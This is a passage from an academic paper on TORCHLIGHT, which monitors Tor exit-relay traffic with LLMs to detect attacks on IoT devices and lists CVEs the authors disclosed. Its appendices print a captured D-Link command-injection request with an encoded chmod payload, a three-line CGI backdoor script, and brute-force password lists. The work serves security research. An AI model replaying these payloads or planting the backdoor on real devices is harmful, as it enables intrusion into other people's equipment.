19 return Plan,Cost,Bandwidth,PC;

type information in the response, our search-engine-based
retriever would search the internet for relevant webpage titles
and summaries associated with ‘IPC-HFW2231S’. The re-
trieved information is then passed to the LLM to identify the
vendor (‘Dahua’) and type (‘Camera’). Utilizing these docu-
ments, the LLM precisely ascertains the relevant vendor and
type for each model and verifies the existence of the model,
thereby ensuring accuracy in its outputs.

Step IV: Confirming IoT Device Traffic. This step is
implemented to accurately discern IoT traffic, specifically
the traffic generated by IoT devices. This is necessary
because the early step focuses on identifying names within
responses, but this alone does not confirm the traffic is indeed
IoT-generated. The challenge becomes evident when we

encounter mentions of IoT devices in contexts that are not
IoT devices. For example, a blog post discusses the Sony
ILCE-7M3 camera. Despite the LLM’s capability to recog-
nize and label this as [‘SONY’, ‘CAMERA’, ‘ILCE-7M3’],
it incorrectly attributes this mention to IoT-generated traffic,
as illustrated in Figure 3c.

To tackle this issue, we prompt the LLM scrutinize the
whole response to determine if the response was truly origi-
nates from the specified IoT device, as described in Figure 3c.
By implementing this method, we effectively minimize false
positives, thereby ensuring our analysis only includes authen-
tic IoT-generated traffic.

Step V: Analyzing the Attacking Traffic. This step fo-
cuses on detecting attacks against cloudless IoT devices by
feeding plaintext streams to the model. Initially, IoT traffic
is processed to generate appropriate inputs for the detection
task. For example, in detecting command injection attacks,
HTTP requests serve as the input, while the detection of in-
formation disclosure incorporates both HTTP requests and
their corresponding responses to identify sensitive data leaks
from IoT devices. Then, the attack detection task is structured
as a binary classification problem, with prompts designed to
enable the LLM to identify different types of attacks based
on the inputs. Few-shot examples are employed to help the
LLM understand the context, enabling it to generalize across
diverse scenarios. For detailed descriptions of the inputs and
prompts, refer to Appendix A.

We manually verify the LLM-identified attacks and vulner-
abilities present in the IoT attack traffic and cross-reference
them with threat intelligence databases, such as CVE [10]
and NVD [12]. In the case of zero-day vulnerabilities, we
authored vulnerability reports and attempted to contact the
vendors. Finally, we analyzed these attacks targeting IoT
devices across temporal, spatial, and behavioral dimensions.

6 Evaluation

In this section, we present the evaluation experiments to an-
swer the following three research questions:

• RQ1: How effective is TORCHLIGHT identifying IoT
devices from traffic datasets? (§6.2)

• RQ2: Which types of IoT devices are most frequently
accessed within the Tor network? (§6.3)

• RQ3: What vulnerabilities are exploited in IoT traffic?
(§6.4)

6.1 Experiment Setup
Experimental Platform We conducted our LLM experiments
on NVIDIA A40 GPUs with 48GB of VRAM, using Ubuntu
20.04. The experiments employed a quantized Llama 2 70B
model, tailored to fit within the memory of the A40. We



utilized the ExLlama [44], with a temperature setting of 0.95,
to control the randomness in the generated text. Additionally,
the Google Custom Search API [20] served as a retriever for
the IoT product corpus.
Test Dataset To ensure comprehensive and robust experimen-
tation, we evaluated our approach on two datasets.

• Tor Traffic. We manually collected and annotated a to-
tal of 1,040 responses from our Tor exit nodes. This
included 800 positive samples—responses generated by
IoT devices—and 240 negative samples—responses gen-
erated by non-IoT devices(servers). Notably, the nega-
tive samples included non-IoT responses but contained
IoT-related information.

• ARE Dataset. we randomly sampled 1200 responses
from the annotated IoT dataset released in [16]. Addi-
tionally, we manually reconfirmed the accuracy of the
annotations.

6.2 Identifying IoT Devices from Traffic

Accuracy. The performance of our LLM-based approach in
identifying IoT devices(§ 5.3) on both Tor traffic and ARE
datasets is presented in Table 3. Our method achieves 93.84%
accuracy and 93.85% coverage, and a macro average F1 score
of 0.8671 on the Tor traffic dataset. On the ARE dataset, it
achieves 97.59% accuracy and 93.65% coverage, and a macro
average F1 score of 0.8857. The better performance on the
ARE dataset is attributed to the absence of negative samples
in this dataset.

Table 3: Performance of LLM-based IoT Traffic Identifica-
tion for Tor Traffic and ARE Datasets

Dataset Coverage/Recall Accuracy Precision Macro-F1

Tor Traffic 0.9385 0.9384 0.9260 0.8671
ARE [16] 0.9365 0.9759 0.9472 0.8857

We manually verified false positives (FPs) and false nega-
tives, analyzing instances of misidentification of IoT devices
from traffic. A false positive (FP) occurs when non-IoT-
related entities are misclassified as IoT-related entities or an
IoT device from one brand is misclassified as belonging to
another brand. For example, our approach wrongly labeled
the device entity [‘BCS’, ‘NVR’, ‘BCS-XVR0801E-III’] as a
Dahua product due to BCS being an OEM made by Dahua.
Therefore, the term ‘Dahua’ in Step III’s search results led to
this misattribution.

Traffic Distribution. We deployed three Tor exit relays in
Las Vegas, New York, and Miami at a total cost of $196, col-
lecting 26.506TB of traffic through the strategic planning pre-
sented in §5.2. The traffic distribution across these nodes was
17.092TB in Las Vegas, and 4.707TB each in New York and
Miami. From the collected Tor traffic, we captured 60,476,207
responses, including HTTP, Telnet, FTP and RTSP responses.

0 20000 40000 60000 80000 100000 120000
Number of Circuits(c)

0.0

0.2

0.4

0.6

0.8

1.0

Pr
ob

ab
ilit

y(
P c

)

Our
Ideal-1
Ideal-2
Ideal-3

0 200 400 600
0.0

0.2

0.4

0.6

0.8

1.0

Figure 4: Probability(Pc) versus Number of Circuits(c)

These were distributed as 41,068,340 in Las Vegas, 9,378,159
in New York, and 10,029,708 in Miami.

Effectiveness. Based on our chosen probability analy-
sis, we use real-world Tor data to evaluate the effective-
ness of TORCHLIGHT. We collect all the information of
the Tor onion nodes, and there are 7,739 onion nodes in the
Tor network, with Be = 414.5148 Gb/s, Bx = 84.8912 Gb/s,
Bd = 158.1926 Gb/s, and Bn = 89.8945 Gb/s. According to
the Tor weighted bandwidth algorithm, this scenario satisfies
the conditions S+Bd < B/3 and Be ≥ Bx, indicating a situ-
ation where exit nodes are distinctly scarce. In this context,
we calculated the probability Pc(b) based on the number of
circuits c. Figure 4 illustrates the relationship between Pc(b)
and c. As shown by OUR in the figure, when a malicious
Tor client establishes approximately 120,000 circuits, Pc(b)
approaches 100%.

To further explore the theoretical potential of TORCH-
LIGHT, we ranked the top 10 pure exit nodes by original band-
width. As illustrated in IDEAL-1, IDEAL-2, and IDEAL-3,
we theoretically calculated that when controlling the top 1,
top 5, and top 10 pure exit nodes, a malicious Tor client needs
to establish 5,778, 1,205, and 635 circuits, respectively, for
Pc(b) to approach 100%. Consequently, with more bandwidth,
we will collect malicious traffic more efficiently.

6.3 Profiling Identified IoT Devices

Distribution of Identified IoT Devices over Time. Over
a 12-month period, we collected 26 TB of traffic, resulting
in over 60 million responses. After filtering, approximately
500,000 responses remained. And ultimately, we discovered
traffic from 50,874 unique IoT devices on Tor exits, identi-
fied by their IP and port. Figure 5 illustrates the number of
recognized IoT devices across 12 months. The bars in the
chart represent the monthly count of IoT devices discovered.
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Figure 5: Number of Recognized IoT Devices over Time

The line indicates the cumulative total count of discovered
IoT devices, which increases over time. The number of IoT
devices peaked in April and May, with approximately 21,900
(43.1%) devices being discovered during these two months.

Table 4: Number of Recognized IoT Devices
Device Type Number (%) Vendor Number (%)

DVR 11,062 (54.9) Qualvision 14,172 (40.9)
Camera 7,346 (36.5) TVT 3,776 (10.9)
NVR 700 (3.5) Hikvision 2,184 (6.3)

Router 313 (1.6) Dahua 2,050 (5.9)
NAS 284 (1.4) Hipcam 653 (1.9)
ONT 181 (0.9) MikroTik 420 (1.2)

Gateway 112 (0.6) Topsvision 353 (1.1)

Distribution of Device Vendors and Types. As shown in
Table 4, the vendors and types of IoT devices accessed via
Tor exhibit a long-tail distribution. Specifically, DVRs are
the most frequently identified devices, accounting for 54.9%,
followed by cameras at 36.5%. Other device types, such as
NVRs, routers, NAS, ONTs, and gateways, have relatively
smaller proportions. Additionally, the table shows the number
of IoT devices from different vendors, with Qualvision having
the most devices at 40.9%, followed by TVT and Hikvision
at 10.9% and 6.3%, respectively. The majority of the traffic
targeting these predominant devices involves failed password
cracking attempts via RTSP and FTP protocols, indicative of
a systematic trial-and-error approach by attackers. Further
details are provided in §7.

Locations of IoT Devices. To identify the locations of
these IoT devices, we used MaxMind’s GEOIP [31] database,
which provides country-level location data based on IP ad-
dresses. Figure 6 illustrates the geographic distribution of the
recognized IoT devices. Among the continents, Asia leads
with 53.5% of the devices, followed by Europe at 38.3%.
North America and South America each have 3.5%, while
Oceania and Africa account for 0.6% and 0.5%, respectively.

Figure 6: Geographical locations of accessed IoT devices.
Each red dot represents an IoT device, with denser clusters
indicating higher frequency of access in those areas.

Iran leads regionally with 43.5% of devices, followed by
Poland and the United Kingdom with 6.1% and 4.7%, respec-
tively. This distribution, particularly concentrated in Asia
and Iran, corresponds with the large-scale password cracking
attacks previously discussed, suggesting a geographic focus
in the attackers’ activities.

6.4 Discovering Vulnerabilities

As shown in “0-Day” column of Table 5, we identified 45
vulnerabilities, 29 of which were zero-day exploits. We re-
sponsibly disclosed these vulnerabilities, and 25 CVE-IDs
were assigned to our discoveries. Notably, a command injec-
tion vulnerability was discovered in a Samsung DVR device.
Despite our attempts to contact Samsung, we received no
response. For ethical reasons, we will not detail this particular
vulnerability. Additionally, we identified two path traversal
vulnerabilities in Dahua products. Upon contacting Dahua,
they responded that the issue had been “previously identified
during our internal penetration testing in 2019 and already
fixed.” Furthermore, we identified a command injection vul-
nerability in a LaCie NAS device. According to their website,
the issue had already been patched [37].

Severity of Vulnerabilities. We represented the severity
of the vulnerabilities using the CVSS (Common Vulnerability
Scoring System [13]) 3.x scores, as shown in the Severity
column of Table 5. Specifically, there are 14 critical, 8 high,
18 medium, and 1 low severity vulnerabilities. The Price Esti-
mation column reflects the estimated prices of vulnerabilities
based on VulDB’s mathematical algorithm when the issue is
not disclosed in any way [45]. VulDB estimates the total price
of these vulnerabilities in the exploit market at approximately
$312,000, with 8 vulnerabilities valued between $10,000-
$25,000, 3 valued between $5,000-$10,000, 8 valued between
$2,000-$5,000, and 21 valued between $1,000-$2,000. As in-
dicated in the Class column, the identified vulnerabilities pose
significant risks, including information disclosure, authenti-
cation bypass, privilege escalation, and arbitrary command



Table 5: Zero-day and N-day Vulnerabilities Discovered by TORCHLIGHT and Actively Exploited on Tor

CVE-IDs 0-Day Severity Price ($) Class Vendor Type Model Amount

25 New Zero-day Vulnerabilities with Assigned CVE Numbers
CVE-2024-10915 ✓ CRITICAL 10k-25k OS Command Injection D-Link NAS DNS-320L, DNS-340L, ... 92k
CVE-2024-10914 ✓ CRITICAL 10k-25k OS Command Injection D-Link NAS DNS-320L, DNS-340L, ... 92k
CVE-2024-3273 ✓ CRITICAL 10k-25k Command Injection D-Link NAS DNS-320L, DNS-340L, ... 92k
CVE-2024-3272 ✓ CRITICAL 10k-25k Hard-coded Credentials D-Link NAS DNS-320L, DNS-340L, ... 92k
CVE-2024-3765 ✓ CRITICAL 2k-5k Access Control Xiongmai DVR AHB7804R, AHB8004T... 390k
CVE-2024-12987 ✓ HIGH 2k-5k Command Injection DrayTek Gateway Vigor2960, Vigor300B 66k
CVE-2024-12986 ✓ HIGH 2k-5k Command Injection DrayTek Gateway Vigor2960, Vigor300B 66k
CVE-2024-4582 ✓ HIGH 1k-2k OS Command Injection Faraday DVR GM8181, GM828x 27k
CVE-2024-10916 ✓ MEDIUM 10k-25k Information Disclosure D-Link NAS DNS-320L, DNS-340L, ... 92k
CVE-2024-3274 ✓ MEDIUM 10k-25k Information Disclosure D-Link NAS DNS-320L, DNS-340L, ... 92k
CVE-2025-0224 ✓ MEDIUM 1k-2k Information Disclosure Provision ISR DVR NVR5-8200, SH-4050A, ... 181k
CVE-2024-13130 ✓ MEDIUM 1k-2k Path Traversal Dahua IP Camera HFW2300R, HDW1200S, ... 100K
CVE-2024-12897 ✓ MEDIUM 1k-2k Path Traversal Intelbras IP Camera VIP S3020, VIP S4020, ... 102k
CVE-2024-12896 ✓ MEDIUM 1k-2k Information Disclosure Intelbras IP Camera VIP S3020, VIP S4020, ... 102k
CVE-2024-12984 ✓ MEDIUM 1k-2k Information Disclosure Amcrest IP Camera IP2M-841B, IPC-IPM-721S, ... 147k
CVE-2024-7339 ✓ MEDIUM 1k-2k Information Disclosure TVT DVR AV108T, 2108TS, ... 408k
CVE-2024-7120 ✓ MEDIUM 1k-2k OS Command Injection Raisecom Gateway MSG1200, MSG2300, ... 25k
CVE-2024-5096 ✓ MEDIUM 1k-2k Information Disclosure HIPCAM IP Camera - 722k
CVE-2024-4583 ✓ MEDIUM 1k-2k Information Disclosure Faraday DVR GM8181, GM828x 27k
CVE-2024-4584 ✓ MEDIUM 1k-2k Information Disclosure Faraday DVR GM8181, GM828x 27k
CVE-2024-4022 ✓ MEDIUM 1k-2k Information Disclosure Keenetic Router KN-1410, KN-1810, ... 387k
CVE-2024-4021 ✓ MEDIUM 1k-2k Information Disclosure Keenetic Router KN-1410, KN-1810, ... 387k
CVE-2024-3721 ✓ MEDIUM 1k-2k OS Command Injection TBK DVR DVR-4104, DVR-4216 114k
CVE-2024-3160 ✓ MEDIUM 1k-2k Information Disclosure Intelbras DVR MHDX1008, MHDX5016, ... 520k
CVE-2024-4235 ✓ LOW 5k-10k Cleartext Storage Netgear Router DG834Gv5 6k
16 Known N-day Vulnerabilities
CVE-2022-28956 ✗ CRITICAL 10k-25k Privilege Escalation D-Link Router - 628k
CVE-2023-4474 ✗ CRITICAL 5k-10k OS Command Injection Zyxel NAS NAS326, NAS542 41k
CVE-2022-27596 ✗ CRITICAL 2k-5k SQL Command Injection QNAP NAS QTS, QuTS hero 2.0M
CVE-2018-9995 ✗ CRITICAL 2k-5k Credentials Management TBK DVR DVR4104, DVR4216 114k
CVE-2017-7925 ✗ CRITICAL 2k-5k Access Control Dahua DVR DH-IPC-Hx 2.7M
CVE-2021-36260 ✗ CRITICAL 1k-2k Command Injection Hikvision - - 157k
CVE-2019-7194 ✗ CRITICAL 1k-2k Path Traversal QNAP NAS QTS 593k
CVE-2019-7192 ✗ CRITICAL 1k-2k Authentication Bypass QNAP NAS QTS 593k
CVE-2017-7577 ✗ CRITICAL 1k-2k Path Traversal Xiongmai - - 33k
CVE-2018-18441 ✗ HIGH 5k-10k Information Disclosure D-Link IP Camera DCS-936L, DCS-942L, ... 53k
CVE-2013-3586 ✗ HIGH 2k-5k Improper Authentication Samsung DVR - 20k
CVE-2013-6023 ✗ HIGH 2k-5k Path Traversal TVT DVR - 507k
CVE-2017-5892 ✗ HIGH 1k-2k Information Disclosure ASUS Router RT-AC, RT-N 69k
CVE-2014-4019 ✗ HIGH - Information Disclosure ZTE, TP-Link,... - - 522k
CVE-2024-0717 ✗ MEDIUM 10k-25k Information Disclosure D-Link Router DSL-224, DWM-321, ... 225k
CVE-2019-9680 ✗ MEDIUM 1k-2k Information Disclosure Dahua IP Camera HDW4X2X, HDBW4X2X, ... 148k
4 New Zero-day Vulnerabilities without CVE Numbers Assigned

- ✓ - - Path Traversal Dahua DVR ?* 1.7M
- ✓ - - Path Traversal Dahua Video Intercom ?* 1k
- ✓ - - Command Injection LaCie NAS CloudBox 14k
- ✓ - - Command Injection Samsung DVR ?* 20k

“-”: The data is missing from threat intelligence platforms including VulDB, CVE and NVD.
“?*”: The model is known but not disclosed for ethical reasons.

execution. The vulnerabilities of cameras, DVRs, and NAS
devices could result in the leakage of private data. Vulnerabil-
ities of routers could facilitate lateral movement by attackers
within local networks, posing even greater threats. More im-
portantly, these vulnerabilities can serve as potential vectors
for IoT malware to infect tailored devices [2].

Devices Affected by Vulnerabilities. To identify the
amount of these vulnerable devices exposed on the internet,
we used specific strings by devices to search in FOFA [17],
a cyberspace search engine. The results, indicating approx-
imately 12.71 million vulnerable devices, are presented in
the "Amount" column of Table 5. It is important to note that
the exact number may vary due to OEM manufacturers like
Dahua, TVT, and Hikvision, who produce similar products
for various brands [26]. But these products likely share the

same vulnerabilities since they use the same codebases. The
Dahua DH-IPC-Hx series DVRs are the most prevalent, with
around 2.7 million devices at risk of a critical vulnerability
that could let attackers access sensitive information as privi-
leged users. Conversely, the Netgear DG834Gv5 router, with
6,000 units exposed, has vulnerabilities due to cleartext cre-
dential storage, potentially allowing direct login and system
modifications by attackers.

Interestingly, we noticed that attackers tend to target legacy
products, such as D-Link DNS-320L NAS, which harbors six
zero-day vulnerabilities (CVE-2024-3272, CVE-2024-3273,
CVE-2024-3274, CVE-2024-10914, CVE-2024-10915, and
CVE-2024-10916) from a 2018 firmware release. After dis-
closing these vulnerabilities, the vendor confirmed the product
is end-of-life and recommended replacement. Similarly, the



Netgear DG834Gv5, affected by the zero-day vulnerability
CVE-2024-4235, has been "end-of-life" since its vulnerable
firmware release in 2011, leaving it exposed for 13 years.
Additionally, the Xiongmai AHB7804R-MH-V2 DVR has
had a vulnerability in the wild since its 2018 firmware, now
over 6 years old. These outdated devices lack modern security
features and fail to receive timely updates, increasing their
susceptibility to attacks.

Figure 7: Monthly Vulnerabilities Exploitation Counts

Attack Attempts by Exploiting Vulnerabilities. We
now approximate the attack attempts by exploiting these
vulnerabilities. We created custom Suricata rules for detailed
assessment of exploitation attempts. Suricata analyzes net-
work traffic using rule-based signatures to detect suspicious
activity. The monthly exploitation data is shown in Figure 7,
with a focus on identifying attempts rather than successful
attacks. Due to space constraints in the figure, we consoli-
dated all Dahua-related path traversal vulnerabilities under
the label “Dahua Path Traversal.” Overall, this graph reveals
a substantial number of exploitation attempts targeting these
vulnerable devices. The peak in exploitation attempts in June
is largely attributed to the exploitation of CVE-2017-7577,
a path traversal vulnerability. The least frequent was the
exploitation of CVE-2019-7194 targeting QNAP NAS, which
occurred only 2 times in 12 months, demonstrating the
effectiveness of LLM-based IoT Traffic Analyzer.

7 Attacks Driven by Exploiting Vulnerabilities

As per our threat model, we identify four potential attack
types, but we exclude data manipulation attacks because the
original data state is unknown. In this section, we illustrate the

security implications of the remaining attacks by discussing
their consequences and presenting real-world case studies.
We also provided automated, dependency-linked examples in
Appendix B for readers of interest.

(A1) Reconnaissance Attacks: Reconnaissance attacks
pose significant security risks as they enable attackers to
gather critical information about target devices and their
vulnerabilities, serving as a foundation for more severe cyber
operations. For instance, vulnerabilities such as CVE-2024-
3274 can reveal a device’s vendor, model, and firmware
version, while CVE-2024-4583 and CVE-2024-4022 may
expose port numbers for IoT control services, aiding targeted
attacks. Meanwhile, an attacker might test for a command
injection vulnerability by injecting a random string with
echo, a method seen in exploits like those targeting the
D-Link DNS-320L NAS (CVE-2024-3273), Raisecom
MSG1200 Gateway (CVE-2024-7120), and TBK DVR-4104
DVR (CVE-2024-3721).

(A2) Device Manipulation Attacks: We now analyze
device manipulation attacks where attackers maliciously ma-
nipulate device functionality. We focus on two key aspects:
the vulnerabilities enabling command execution and the spe-
cific commands used. For the vulnerabilities enabling com-
mand execution, we identified two types. The first arises in
front-end services caused by improper input sanitization, such
as CVE-2024-3273, CVE-2024-7120, and CVE-2024-3721.
The second occurs in control services, particularly those using
proprietary protocol, which are more dangerous due to their
increased stealth (Details in Appendix B.2).

Attackers exploit these vulnerabilities to execute various
commands or scripts, which fall into three categories based
on their purpose: deploying backdoors, disrupting security
defenses, and gathering system information. These attacks
enable attackers to maintain access, disable defenses, and
gather intelligence. For example, in one of the discovered
backdoor attacks (see Appendix C.1), the attacker injects
the XOR operation command to achieve simple encryption
and decryption. This approach could bypass signature-based
intrusion detection systems, making the compromised device
more difficult to detect. In attacks targeting Dahua DVR
devices, as detailed in Appendix C.2, attackers attempted to
directly modify critical data in kernel memory by executing
scripts and injecting commands, thereby bypassing kernel
security mechanisms.

(A3) File Manipulation Attacks: We analyze file manip-
ulation attacks that involve unauthorized access to sensitive
files from devices, identifying two primary exploitation meth-
ods: lack of authentication and password cracking. Instances
of inadequate authentication stem from manufacturers’ over-
sight in implementing proper access controls or from users
neglecting to configure necessary protections. For example,
attackers exploited a cleartext storage vulnerability in the
Netgear Router DG834Gv5 to obtain sensitive credentials.

On the other hand, password cracking plays a significant



Table 6: Failed Login Passwords
All Password Non-Dictionary Passwords

admin 12345678 GRwvcj8j tp-link
111111 12345admin tlJwpbo6 reolink
1111 abc12345 meinsm fliradmin

12345 1234 wbox aiphone
11111 123456789 wbox123 Dinion

role in file manipulation attacks, with DVRs and cameras
being the most targeted devices. Given the sensitive nature
of these potential file manipulations, we focus on analyzing
credentials used in the failed login attempts rather than exac-
erbating the issue by analyzing the data obtained by attackers.
The left two columns of Table 6 display the ten most common
passwords used, all of which appear in various online pass-
word dictionaries [23]. After filtering out these dictionary
passwords, the remaining frequently used passwords are dis-
played in the right column, which are often device-related; for
instance, reolink, tp-link and Dinion are associated with
security camera or router companies, while GRwvcj8j and
tlJwpbo6 are linked to HiSilicon [5]. This analysis shows
that password-cracking attackers actively research specific
devices and exploit known configurations rather than blindly
guessing.

8 Discussion

Comparison with Traditional Attack Detection Ap-
proaches. Traditional intrusion detection systems (IDS) ap-
proaches require experts to manually design rules or features.
However, adversaries may evade detection by making minor
modifications. For example, Suricata rules may be designed
to identify plaintext strings, but an attacker can bypass detec-
tion by encoding the strings using URL encoding, rendering
those specific rules ineffective [46]. Additionally, traditional
signature-based methods also suffer from poor generalizabil-
ity and are incapable of detecting zero-day attacks. Similarly,
traditional machine learning methods [32, 6, 19] face limi-
tations, as they require large volumes of labeled samples to
train models, which is impractical given the diversity of IoT
devices and the wide variety of attack techniques. In contrast,
LLMs are pre-trained on extensive corpora. LLMs can learn
and generalize using only a few-shot examples, making them
capable of detecting even zero-day attacks.

Manual Effort. Our manual effort involves confirming
the LLM-identified attacks present in the IoT attack traffic.
For an LLM-identified attack, we manually extract related
segments of Tor traffic and determine if an attack was on-
going. Appendix B gives examples of interaction between
the attacker and device from our manual analysis. We also
consult with a wide range of resources, such as CVE reports,
forums, blogs, and PoC demonstrations, and determine if the
attack is a known or zero-day attack.

Implications of Focusing on Unencrypted Communica-

tions. Detecting attack behavior within encrypted commu-
nication is an open problem, and detecting and confirming
zero-day attacks in such communication is even more chal-
lenging. Our approach relies on a general-purpose LLM for
IoT traffic identification and attack detection, which lacks the
capability to process or analyze encrypted data. As a result,
our input is limited to unencrypted content. If adversaries
use encrypted communication with target IoT devices, our
method will fail to detect such attacks.

9 Related Work

Tor Traffic Analysis. While Tor traffic is notorious for ma-
licious activities, earlier studies lacked depth in addressing
attacks. Ling et al. [29] introduced TorWard, detecting vari-
ous malicious activities at exit nodes, but their analysis was
limited to IDS. Website fingerprinting, which analyzes traffic
at Tor entries to infer the visited webpages, is limited to clas-
sification and cannot detect complex attack behaviors [14, 3,
38]. Our research focuses on 0-day and n-day attacks target-
ing IoT devices at exit nodes and analyzes attacker behavior,
providing a novel perspective.

Honeypots. Honeypots, widely used to capture real-world
IoT attacks, are network systems designed to be compro-
mised [2, 21, 11, 33]. Specifically, Dang et al. [11] deployed
4 hardware and 108 software IoT honeypots, attracting a va-
riety of attacks. Further, Munteanu et al. [33] analyzed data
from 221 global honeypots over 15 months. However, hon-
eypots only simulate specific devices, limiting the scope of
detected attacks. In contrast, passive monitoring at exit nodes
provides broader detection, offering a more accurate view of
IoT attacks in the wild.

10 Conclusion

Our research uncovers a critical and emerging threat in the IoT
landscape, where attackers leverage the anonymity provided
by the Tor network to exploit vulnerabilities in cloudless IoT
devices. Our tool TORCHLIGHT effectively identified 45
vulnerabilities, including 29 zero-day exploits, revealing a
hidden but highly active threat landscape. The high number of
devices affected (12.71 million) and the critical nature of the
exposed vulnerabilities (information disclosure, authentica-
tion bypass, and arbitrary command execution) demonstrate
the need for more robust and proactive measures to protect
IoT ecosystems. As our study gains attention within the cy-
bersecurity community (top 25 on Hacker News with 190,000
views), it highlights the importance of continued vigilance
and the development of tools to safeguard against the evolving
tactics of adversaries in the ever-expanding IoT domain.
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Appendices
A Attack Detection

This section introduces prompts for detecting attacks includ-
ing command injection, information disclosure, path traversal,
and FTP anomalies (Appendix A.1), followed by an evalua-
tion of the LLM in detecting these attacks (Appendix A.2).

A.1 Attack Detection Prompts

Command Injection Prompt. For command injection detec-
tion, as shown in Figure 8, HTTP requests are analyzed be-
cause malicious payloads may be embedded within them. The
LLM is prompted to analyze the given request for evidence of
command injection, providing a "yes" or "no" response with
a brief justification.

Information Disclosure Prompt. For information disclo-
sure detection, HTTP requests and their corresponding re-
sponses are analyzed to identify exposed sensitive data. The
LLM determines whether the pair indicates an information
disclosure vulnerability, responding with "yes" or "no" and a
brief explanation.

Path Traversal Prompt. For path traversal detection,
HTTP requests are analyzed for path traversal attacks be-
cause attackers may manipulate URLs to access unauthorized
files or directories. The LLM assesses the request, responding
with "yes" or "no" and a brief explanation.

FTP Anomalies Prompt. For FTP anomaly detection,
FTP session data are analyzed for unauthorized access or ab-
normal patterns. The LLM determines whether the activities
are legitimate, responding with "yes" or "no" and a brief ex-
planation, with "no" indicating irregularities such as multiple
failed login attempts.

A.2 Attack Detection Performance
Experimental Platform. We conducted our attack detection
experiments on NVIDIA A40 GPUs with 48GB of VRAM,
using Ubuntu 20.04. To achieve more precise attack detection,
we employed the quantized Llama 3.1 70B model [24], which
offers superior contextual understanding compared to Llama
2 70B and is tailored to fit within the memory of the A40.
Additionally, we used a temperature setting of 0.6 to better
control the randomness of the generated text.

Test Dataset. Given the large volume of data (tens of
thousands of IoT traffic samples), manually labeling every
entry was impractical. Therefore, we labeled 500 samples for
each of the four attack types. Specifically, we labeled 500
HTTP requests each for command injection and path traversal,
500 request-response pairs for information disclosure, and
500 FTP sessions for FTP anomalies, all from the IoT traffic
dataset discussed in §6.3.

Performance. Our evaluation of the LLM-based IoT attack
detection approach shows strong performance across attack
types. For command injection, the approach achieved 99.40%
accuracy, 95.45% precision, and an F1 score of 96.55%, main-
taining low false positive (FPR = 0.44%). Information dis-
closure detection yielded 96.60% accuracy and an F1 score
of 89.70%, with a slightly lower precision of 81.32%. Path
traversal detection achieved 96.40% accuracy and an F1 score
of 85.00%, though improvements are needed to reduce its
false negative rate (FNR = 13.56%). FTP anomaly detection
achieved an F1 score of 94.60% with 99.74% recall but had
a higher false positive rate (FPR = 41.90%), largely due to
LLM hallucinations. For instance, the LLM flagged a stan-
dard FTP banner, “220 Welcome to ASUS CM-32_AC2600
FTP service.”, as anomalous, misinterpreting an empty
string (‘’) as malicious. This underscores the need to refine
the model and reduce hallucination-induced errors.

Table 7: Performance of LLM-based IoT Attack Detection
Dataset Acc Prec Rec F1 FPR FNR

CMD Inj. 0.9940 0.9545 0.9767 0.9655 0.0044 0.0233
Info Disc. 0.9660 0.8132 1.000 0.8970 0.0399 0.0000
Path Trav. 0.9640 0.8361 0.8644 0.8500 0.0227 0.1356

FTP Anom. 0.9100 0.8995 0.9974 0.9460 0.4190 0.0025

B Infiltration

We observed that attackers use a dependency-linked exploita-
tion method, where each step builds on the success of the
previous one, especially when targeting devices with com-
mand injection vulnerabilities, indicating a strategic infiltra-
tion process. Based on remote services exploited by com-
mand injection vulnerabilities, we categorized these attacks
into frontend service infiltration (Appendix B.1) and control
service infiltration (Appendix B.2). Then, we examined the
interval times between attacker actions, revealing a likely use
of automation in the infiltration process (Appendix B.3).
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You are a cybersecurity analyst. Analyze the following HTTP requests and determine if there is evidence of command injection. Provide a brief
yes or no answer with a short explanation if applicable. You must provide the right answer. (+ few-shot examples)Instruction

Answer
Yes, the HTTP request data shows signs of command injection. The system parameter in the query string contains a base64 encoded string, which, 
when decoded, reveals a Linux command (chmod 775 /var/www/cgi-bin/files_mgr.cgi). This suggests that the query is crafted to execute arbitrary
commands on the server by exploiting vulnerabilities in the web application.

Input
（Request)

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=Y2htb2QJNzc1CS92YXIvd3d3L2NnaS1iaW4vZmlsZXNfbWdyLmNnaQ== HTTP/1.1
…
Accept-Encoding: identity
Cache-Control: no-cache, no-store, max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36

Figure 8: Command Injection Detection Example

B.1 Frontend Service Infiltration
We selected D-Link DNS-320L NAS as a representative ex-
ample. As detailed in Figure 9, we use the cyber kill chain
framework [30] to divide the attack process into two phases:
reconnaissance and exploitation.

Figure 9: Attack Flow of D-Link DNS-320L NAS

Reconnaissance. The initial request exploits CVE-2024-3274
to confirm device model and firmware information. The sub-
sequent request aims to determine the presence of the hard-
coded credentials vulnerability (CVE-2024-3272) and the
command injection vulnerability (CVE-2024-3273) within
the nas_sharing.cgi endpoint by using the echo command
to inject a random string.
Exploitation. The attacker exploits the aforementioned
vulnerabilities to implant backdoor scripts, such as
file_mgr.cgi, into D-Link DNS-320L devices (Listing 1).
This shell script allows arbitrary command execution by ma-
nipulating the CONTENT_TYPE variable, bypassing security

mechanisms. He/she then uploads BusyBox [9] to streamline
malicious operations and test the backdoor using the echo
command.

1 #!/bin/sh
2 echo -e Content-Type: text/html\\n
3 $CONTENT_TYPE
4

Listing 1: A Typical Backdoor Example

B.2 Control Service Infiltration
This section will first detail the discovery of proprietary con-
trol protocol vulnerabilities in DVR devices from Xiongmai
and Faraday, followed by an exploration of the control service
infiltration.

An initial analysis of Xiongmai and Faraday HTTP traffic
revealed exploitation of the CONTENT_TYPE backdoor, consis-
tent with the previously mentioned one. However, the HTTP
traffic did not disclose how these backdoors were implanted.
Further investigation into all port traffic of these devices iden-
tified that attackers communicated with the devices using
proprietary ports—34567 for Xiongmai and 6001 for Faraday.
Leveraging forum-sourced technical documentation(e.g., [1])
and analyzing the context of the traffic packets, we discovered
malformed packets exploiting two zero-day vulnerabilities
(CVE-2024-3765 and CVE-2024-4582). These vulnerabili-
ties are particularly stealthy and more threatening than those
in common protocols. Taking CVE-2024-4582 as an exam-
ple, the Faraday proprietary protocol includes a header and an
XML-formatted payload. As shown in Listing 2, the ntp_srv
field in the payload contains a command injection vulnerabil-
ity, enabling attackers to execute arbitrary commands on the
target device through a crafted NTP configuration string.

Control service infiltration consists of two phases, simi-
lar to Appendix B.1. (i) Reconnaissance. The attacker uses
CVE-2024-4584 to request the command_port.ini file and
retrieves the proprietary protocol port. After probing the NTP
configuration, he/she exploits CVE-2024-4582 and CVE-
2024-4583 to inject commands, overwriting the lock file
